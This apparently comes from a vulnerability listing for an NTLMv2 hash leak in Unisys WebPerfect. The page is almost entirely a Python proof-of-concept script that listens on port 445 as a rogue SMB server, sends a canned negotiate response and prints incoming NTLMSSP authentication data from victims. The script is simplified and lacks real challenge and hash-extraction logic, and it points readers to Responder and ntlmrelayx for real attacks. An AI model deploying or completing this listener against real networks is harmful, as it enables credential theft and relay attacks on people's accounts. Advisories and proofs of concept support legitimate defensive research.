CVE-2026-39906 Unisys WebPerfect NTLMv2哈希泄露漏洞

# PoC Concept: SMB Listener to capture NTLMv2 hash # Usage: python3 ntlm_capture.py import socket from struct import pack, unpack # This is a simplified example of an SMB listener to catch the hash. # In a real scenario, use tools like Responder or Impacket's ntlmrelayx. def handle_connection(client_socket): try: data = client_socket.recv(1024) if b'SMB' in data: print("[+] Received SMB Connection from target") # Normally you would send back a challenge here to get the hash # For demonstration, we just acknowledge. response = b"\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00" client_socket.send(response) # Wait for NTLMSSP_NEGOTIATE or AUTH auth_data = client_socket.recv(1024) if b'NTLMSSP' in auth_data: print("[+] Captured NTLMSSP Packet (Hash extraction logic applies here)") print(f"[+] Data: {auth_data}") except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() def start_listener(port=445): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', port)) server.listen(5) print(f"[*] Listening on port {port} for incoming SMB connections...") while True: client, addr = server.accept() print(f"[*] Accepted connection from: {addr[0]}:{addr[1]}") handle_connection(client) if __name__ == "__main__": # Note: Running on port 445 requires root/admin privileges start_listener(445)